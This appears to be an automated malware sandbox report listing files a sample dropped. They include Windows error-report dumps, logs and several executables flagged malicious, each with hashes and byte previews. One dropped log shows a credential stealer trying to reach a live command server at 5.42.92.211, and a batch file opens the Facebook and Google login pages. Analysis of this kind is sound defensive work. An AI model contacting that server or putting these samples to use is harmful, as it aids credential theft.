Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2230623" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7AD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 23 15:52:28 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	27354
Entropy (8bit):	2.2452022339469915
Encrypted:	false
SSDEEP:	96:5D8z68NGYwFxdUThFbQ3V1li75SkNnus95gEtVGEW4iPR6RvIWInWIsgH29I5FqO:+zV2gThBoblO5SkbQPkB0HR09lq4U
MD5:	D8600045154B64002BEBDC931AAB0712
SHA1:	8046CABC1F11983721A88F91546C67064403D700
SHA-256:	39D0CFEB62DB1502A745EF549D2A7685945985AF7D5F192D65F7114791EC02D3
SHA-512:	28607EAE3E6B98FF575A2B0F1058368E9331F59590921D549FEA6F8E25BBFDD294E7356FFADE7B797359417B38BEE788382CCE2A8F7E76A0422A873F1903DE6C
Malicious:	false
Reputation:	low
Preview:	MDMP....... ..........e............4...........x...<.......d...F$..........T.......8...........T...........8....Q...........................................................................................U...........B......8.......GenuineIntelW...........T..............e.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA84A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8330
Entropy (8bit):	3.6876361867422727
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiOaJ6X6Yin67jKgmfNNTSx+pDS89bIOsfjYm:RrlsNiOE6X6YK67jKgmfNNTS+INfp
MD5:	8314C6BD095B30A976D32B211590284A
SHA1:	9EEEBE5BCF8228307AFC7938B45A5AC7B516157A
SHA-256:	85EDE175F602D1C1B93AB79125D3A7B103128415977A2D065C068D12D94DFAF2
SHA-512:	46E23237F61FAB269154FF2E873AD804F52C20DFEB360C8ED33633366FCE2DA52A3D2B55004A697DFEA48B20F2AD5DEFAF6ADC8A44FD6B6BB3A94EBB8A693B61
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.3.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA86B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4650
Entropy (8bit):	4.423305768637909
Encrypted:	false
SSDEEP:	48:cvIwSD8zseJgtWI9fZrBWgc8sqYjt8fm8M4JYa9bd6F3+q8vb9bd+BQP3bWBtdd:uITfU+ZrQgrsqYOJZ0KD+WjWBtdd
MD5:	4A15AD1FB82BCAD384B0C8E3F66D864E
SHA1:	BD0BF73758310ED9A29822A8EAA346ADAB0E6B14
SHA-256:	9C13DDF6B6B5D05BFA65474D2FD1471681B9235C9716A23847DDB5B355BA3B22
SHA-512:	9A04DBB71A98328A92A9776DCD284CFA7AA183018A6761A84984E863E9C7BE5FE431ACCC88F78E361A1FEAC4C4EE47E78B9D571A4066A289CD24BFEE25332B76
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2230623" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\a3839540.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.357355594454937
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUzbUoNRLFS9Am12MFuAvOAsyQHxW+uomrnL2lZskUUT8B6VoRA2LFv:Q3La/xw5DLIP12MUAvvR+uTL2pLVUfv
MD5:	21647288647AAB4A8F43030AF90186F2
SHA1:	56A983E2347529FBE3033A48F589CAD7E9FF3635
SHA-256:	E3C87716559CAA8D132753A9644A6645DE391C1F4161C2C087D89979BF35BAB8
SHA-512:	4365157345F80F8373C611EF72AEA9FC3176A5851C9FC4F878F3F6AC236C47E529DD7B564EC1C1CE0C864A0EB2C8A79DDF290B5721483C5501E4F45FA4AC14D4
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\37a1d51f35918dd36a0d4e34cc91732e\System.ni.dll",0..

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10977740119386453
Encrypted:	false
SSDEEP:	12:263zXm/EyM2xX/7EsRslliRKQ10nMCldimE8eawHjcjv:266lbL2i9yMCldzE9BHjcL
MD5:	E959758488FA188DDB6452D088A15986
SHA1:	B424A0E0FBC4D3DF74D17119D9ED99EC271648A2
SHA-256:	4646FDDE89D1E4F55237430C563A1B525EA1BB9EE37FE66533F4B9426DD860BA
SHA-512:	095C0C9A3EE068F8C3BD24FCC67A756B57062DE89CA2FB7E53401031E95AC6E7E20B52DE0FA7B1E392280A1DF9B203C7C51700A35DC3BC137BF7F77B6B59A39F
Malicious:	false
Reputation:	low
Preview:	..........................................................................................B'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .....<.,.5...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.......... B'....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11237968276471598
Encrypted:	false
SSDEEP:	12:f0zXm/EyM2xX/7EsRjGlz1miwRKQ10nMCldimE8eawHza1miIXp0f:JlbL5Gx1tw9yMCldzE9BHza1tIZk
MD5:	9CE9CE4F6FA0560E11C7D874A70E51B3
SHA1:	3C95D34FE0F44E56FCE0BBD3E60BD4A882578966
SHA-256:	03EE10FBCEF6A825999BB32FA15BF46F36D830AB2DD6440C2B59DC6023AD5979
SHA-512:	6DB08EC088AA504B9862CC3BA903AC6DA934444B3D0E154BCDB05DF3BB2D90846BC42064A88A4854174B21478B6FB7AEBD37ABF012CD9C26ECA95D56B8458AFA
Malicious:	false
Reputation:	low
Preview:	........................................................................................R.A'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .......'.5...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P..........!A'....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11245857156447044
Encrypted:	false
SSDEEP:	12:UtlCzXm/EyM2xX/7EsRbllz1mK2JRKQ10nMCldimE8eawHza1mK5/Cf:Ut5lbLFlx1iJ9yMCldzE9BHza1FK
MD5:	26408A266A6F87C45BD787CE28B23A4C
SHA1:	39A27EC5E9ED0E8AAD6510422B59B90D5D276B93
SHA-256:	971CBBA822B54AEF59ABD6A96189E6275F7F13512EA9FA6027074C421054BB21
SHA-512:	FEED5092FB1BAA562247836A2BE82031B0A235B8AA46BF305DD33CF4F15EF3FBEE74D8B48731994F4B826E54DD9993769004E41407A50C15A8170081AAEB37FC
Malicious:	false
Reputation:	low
Preview:	..........................................................................................?'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .......#.5...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P...........?'....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\11D0.bat

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.419375413485732
Encrypted:	false
SSDEEP:	3:Ljn3lYrSLYXqhSCMLQXjn3lYcKVJ3uD:fuGLYX2SPLQXDucw+D
MD5:	403991C4D18AC84521BA17F264FA79F2
SHA1:	850CC068DE0963854B0FE8F485D951072474FD45
SHA-256:	EF6E942AEFE925FEFAC19FA816986EA25DE6935C4F377C717E29B94E65F9019F
SHA-512:	A20AAA77065D30195E5893F2FF989979383C8D7F82D9E528D4833B1C1236AEF4F85284F5250D0F190A174790B650280FFE1FBFF7E00C98024CCF5CA746E5B576
Malicious:	false
Reputation:	low
Preview:	start "" https://www.facebook.com/login..start "" https://accounts.google.com..

C:\Users\user\AppData\Local\Temp\2334.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1593856
Entropy (8bit):	5.495296149969605
Encrypted:	false
SSDEEP:	24576:IxYEuWq4g738fRzNGfnCcDTUnkos0mmCRG9ZW02W43:IQ4g738fREJ0kos0SRG9c
MD5:	52C2F13A9FA292D1F32439DDE355FF71
SHA1:	03A9AA82A8070DE26B9A347CFBD4090FD239F8DF
SHA-256:	020C6DA8F2BBD3A3F15DCBC8808255C2650DF37F2B499B680E69D9E3CB1C1316
SHA-512:	097D5415D7ED0EBB6B6F89CC38B29471A47EF99DF79E7C6B0B01592174DFB115ABDF496126BB7177527C252803BCC53A31B8C40D2F1AA65FAE4331B5AFE9E36A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66% Antivirus: Virustotal, Detection: 74%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G....pf..pf..pf...e..pf...c.pf...b..pf...g..pf..pg.pf.c.b..pf.c.c.Zpf.c.e..pf.g.c..pf.g.d..pf.Rich.pf.................PE..L....;.e............... ..........................@.......................................@..................................2..(............................p..,Q......8...............................@............0...............................textbss\|................................text............................... ..`.rdata..............................@..@.data........p......................@....idata.......0.......<..............@..@.tls.........P.......P..............@....00cfg.......`.......T..............@..@.reloc...d...p...f...V..............@..B.Bell...D...............................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3D31.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299520
Entropy (8bit):	7.77421023261783
Encrypted:	false
SSDEEP:	6144:osehzRFMaxy3iorkQEp42Tg5Y7ow1plyROoBc3TBNEE:orAaxCio0TDkw1OMJ3tNEE
MD5:	9FA10337D494E4B832B790BD53352FC4
SHA1:	F03C075EC4513720BF08A09A3263D63E8807597C
SHA-256:	4B28A89571BA4324F84C4AE236A7E04F72175377D987C7A66D7C51B79DF831AE
SHA-512:	327DA76C1DD750F03C8EC07CE667772BE94757F3AD9F6C3EC7A16CFB122E192AC2CA422DCDEBA20B8ED5D3927E1222AED1A2AD61739FDE3D98FD57D20B260DB4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 4%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|..\|..\|......q..\|.......g......}......}..Rich\|..........PE..L...b..>............................<]........................................................... ..........................L.......................................0...................................................,............................text...t........................... ..`.data...............................@....rsrc...............................@..@.$.>@....$.>M....$.>Z....$.>d....$.>n....$.>y....$.>............ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.GDI32.dll.USER32.dll.COMCTL32.dll.VERSION.dll...............................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3F93.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	950784
Entropy (8bit):	7.929034779258069
Encrypted:	false
SSDEEP:	24576:EyC779RmFrcs9n1pQ+4cziJG6UMLUbk1oJ:TCv/mF99nN1GLm
MD5:	F6FE596CB820A7D48DF6F79A66112644
SHA1:	D00069646303F51FBBAA4543327FEE96E85B1736
SHA-256:	CB22896AB0C8550F0D93D1DA9A87E74EA0172D152FD6DC92404B51AF13C7E536
SHA-512:	4F6E6E362C1DC91A9A06ECBCED0EC4E4AAFB18B87F4D02AEDC9F4821399EB70F112F36F86FB7FC69B276AF094E84DD3A2CD5B2DC07473090432DE9026820E505
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 68%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@......................................@...... ......................................................................T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc...............x..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4375vtb45tv8225nv4285n2.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.989835872497814
Encrypted:	false
SSDEEP:	6:keQZ0MKGKvVGaLxV/9LNWIAjJzMFHgyLVG4:keQZ0MKGKDd1pB4JglT
MD5:	44FF97F02B1379861DDD7506882509C8
SHA1:	87D2B830E35A7A730C39E538FAC37C7E44D5F2FF
SHA-256:	A06B7E8EB995C6B438A91F43870D5C8DE34F3F89B56C474835A31435C96A572F
SHA-512:	4151EC725FB27ECADD0C39133595957504A1782F6DF85776DBE5BE91972F98F4300AAA08708F9750CE674E0E596E6F74C48260D15565B497EF3B25FA3154DDEE
Malicious:	false
Reputation:	low
Preview:	2023-09-23 17:52:21 [AppLaunch.exe 6764] Trying to connect to http://5.42.92.211/.2023-09-23 17:52:24 [AppLaunch.exe 6764] ERROR in ..\stealer\stealer.cpp, line 159, function Start. Failed to connect to http://5.42.92.211/.

C:\Users\user\AppData\Local\Temp\92C4.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6850560
Entropy (8bit):	7.9950640690205494
Encrypted:	true
SSDEEP:	196608:zimOQD2ibYQqN2VDaY5QjlL70wudmxY+RHA:ztOAbY3NmDaqvC
MD5:	6B254CACA548F0BE01842A0C4BD4C649
SHA1:	79BBEED18D08C3010E8954F6D5C9F52967DCC32E
SHA-256:	01A7AFFF3220C1A442E3B8BC41DBF4036E9C223F9AAB374265D9BEAE0709E434
SHA-512:	B69F8C71F2B71268150CC74E8E842B6526E87C5E944D163BB3DEF85CC919428C249A733CA9BBEFC4CF4B80A8DBF6961B8E6F0333194713FAF10551B8EB97D3FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 71%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............................\|h...............h...@...........................h......`i.......................................h.P.....h.............................................................................`.h.X............................text...x........................... ..`.rdata...vh.. ...xh.................@..@.bss..........h..........................rsrc.........h.......h.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9AEE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	915456
Entropy (8bit):	7.995041858739587
Encrypted:	true
SSDEEP:	12288:nMpUPpoXq5PSHgQLDn3bB/+N46zBL5SZ+3+Qe2TnmG3gvkVgH4MRPX:CXcKAQLj/WZmG36MCRP
MD5:	EF11A166E73F258D4159C1904485623C
SHA1:	BC1F4C685F4EC4F617F79E3F3F8C82564CCCFC4E
SHA-256:	DC24474E1211EF4554C63F4D70380CC71063466C3D0A07E1A4D0726E0F587747
SHA-512:	2DB0B963F92CE1F0B965011F250361E0951702267E8502A7648A726C407941E6B95ABB360545E61FF7914C66258EE33A86766B877DA3AD4603D68901FBD95708
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59% Antivirus: Virustotal, Detection: 80%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....e................................. ....@...... .......................`............`...@......@............... ......................(...W.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@..@.reloc.......@......................@..Bd.......H..................."....<................................................(.....0..).......(....s....(....o....o.... ...E(....o........0..U.......(....(...+o........o....o...... ...E(....(..........(.....(....u?....( ...(...+o"...*....0..q....... ..i.. .....Y.s#............s$.......Y....o%..........-.s&............o%...... ....a.afeffeefef (hd..Y.Yffeeffefea...-..+...o'.......,... .9.kX.afefefefeffea...-..+...o(........3...(....()...,.. <C#g.a.X.Xa..~....`.....8.......()...

C:\Users\user\AppData\Local\Temp\ADAB.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373248
Entropy (8bit):	6.958006453505489
Encrypted:	false
SSDEEP:	6144:N/46fuYXChoQTjlFgLuCY1dRuAO9iu5pNqvUqrzo7Kj0bkq0vd1q8w8y0:NwYzXChdTbv1bu6u5pNqvdvq6l48w8y
MD5:	BC70697FB5B6D1178FCD6143410F959C
SHA1:	5EDAC0FD99159C37EB4B97EEA60742690C64EAB2
SHA-256:	77CE53BA6CD7AE747786057130087D49B73E48906609D688B9909A61337F20BB
SHA-512:	BCDECE044C25AFCAFCAF1BF89FCFEB328231AD51C2BF42CF9096FB90FC8D30A20E30AEB25F31D3727547D2494AF47AED397BC6AF05BEC3C2620E2A8D2D8DCB6E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 40%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[H.z.)r).)r).)r).[q(.)r).[w(.)r).[v(.)r).[s(.)r).)s).)r)PUv(.)r)PUq(.)r)PUw(L)r).U{(.)r).Ur(.)r).Up(.)r)Rich.)r)........................PE..L......e...............".6...........q.......P....@.......................................@......................... !..P...p!..(................................... ...............................`...@............P..0............................text....4.......6.................. ..`.rdata..H....P.......:..............@..@.data........0......................@....syhua...n...P...p...$..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\e6072708.exe

Download File

Process:	C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18727
Entropy (8bit):	4.55159365806816
Encrypted:	false
SSDEEP:	384:1zRB0QUkwhOyEcEmim348ZrVW5VuoWdS:1z1Uk1s348k4S
MD5:	C1F8927DE10273B4F741414B1D46D474
SHA1:	ABFB2B199C453AF0EDC79E073C6C13B2937F6AE4
SHA-256:	0AD2A1DB66114217D2C321309A62725C33539E03A0BE62DDE4C47A8A64391557
SHA-512:	96156873033D101E216525188D1FC7F9F46D1CD75CF79F5518C08E70E7151B020094762D87CC262D5F780BFE76478D0D5793F5754B5A3CD8C9E04815D4528131
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........P...........................................................~...........Rich............................PE..L....................................$.......0....@..........................p............@...... ...........................A.......P.......................`...... ...T............................................@...............................text............................... ..`.data...x....0......."..............@....idata.......@.......$..............@..@.rsrc........P......................@..@.reloc.......`.......6..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\k4830352.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3F93.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20089
Entropy (8bit):	4.3092697389399115
Encrypted:	false
SSDEEP:	384:1zRB0QUkwhOyEcEmim348ZrVW5VuoWdS:1z1Uk1s348k4S
MD5:	595DDD2EB232E6E0AEB407D30D6025A8
SHA1:	CDD87C095A808F53FF23882C6DF22CA3F7D6CE58
SHA-256:	3BFD526B44C50DD5AAF95E5607D3010619A513069C66A11431283BD8357BCE36
SHA-512:	B93C7D001F3F3BEC709BC806A428DCB4B84D785CB08A58E329B0A213E5D65C6130BE220FC9B019E991881ED9235F48659D85E6C37E00F39403612A1593E0A333
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........P...........................................................~...........Rich............................PE..L....................................$.......0....@..........................p............@...... ...........................A.......P.......................`...... ...T............................................@...............................text............................... ..`.data...x....0......."..............@....idata.......@.......$..............@..@.rsrc........P......................@..@.reloc.......`.......6..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe

Download File

Process:	C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	984576
Entropy (8bit):	7.931369727696287
Encrypted:	false
SSDEEP:	24576:+yZ1J/ESpYbAlcWrTlKNdwU6t+Fll+oV3:NTJDlcBNdwUjFl
MD5:	D9F040D855D241E47DE3A1453BA55A1E
SHA1:	2D00D6DEC7749E6FCC6EB3F84AB1CC5AEBACE0BB
SHA-256:	A02E356EEE47289418037BDCAA8B5B84A6C180E4A72DC5554DE79798672D5E8A
SHA-512:	B29B9F27F2C584D4377EE3E322A2548758E63DF1AAFE5CE9B846E80CE5DAEBAE9C32CA909212C7F103FD7FE5FD666A3A715C832E13AD7982EF2B1D7898AAD43C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70% Antivirus: Virustotal, Detection: 70%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@..........................P.......L....@...... ...........................................................@..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3F93.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846336
Entropy (8bit):	7.91587605723271
Encrypted:	false
SSDEEP:	12288:iMrxy90KUg1a+UGj1qyQQsPFTz7TQvvj2e1affai9G/du8bOj4h1bwkl:zyb1OBas9TfTQnjJi9G1u88Abwkl
MD5:	38EED433351602811990E57317F5A52E
SHA1:	0F232E1F3BE899B55A0FFEDAF5D2F21AB946BCB1
SHA-256:	6D818DE2B438AC6D72DFF992FA0ABFBED0985411C36A476B3E99A2573481846C
SHA-512:	CD1B7CBAFE96E154FE169B272283E678D331B2110DA05D4B7200BA22A56F4F5DED4E2FA17F0BDC3B5C8855564509F51A45B571DB8D2312C2C6E96A46BCD55AD3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 66%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@..........................@......,.....@...... ...................................... b...................0..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc....p.......d...\|..............@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	724344
Entropy (8bit):	6.182587096563993
Encrypted:	false
SSDEEP:	12288:12sZYqc4QgqQ3Tr4uVQfTmgutF4Hw64TaQ:12sZYcQgqQ3jgutFyw64Td
MD5:	F4D254AC1976D0137B6E14D05000E6C6
SHA1:	8C278E4B1037B5721D42EF48735958A7FD92B1E6
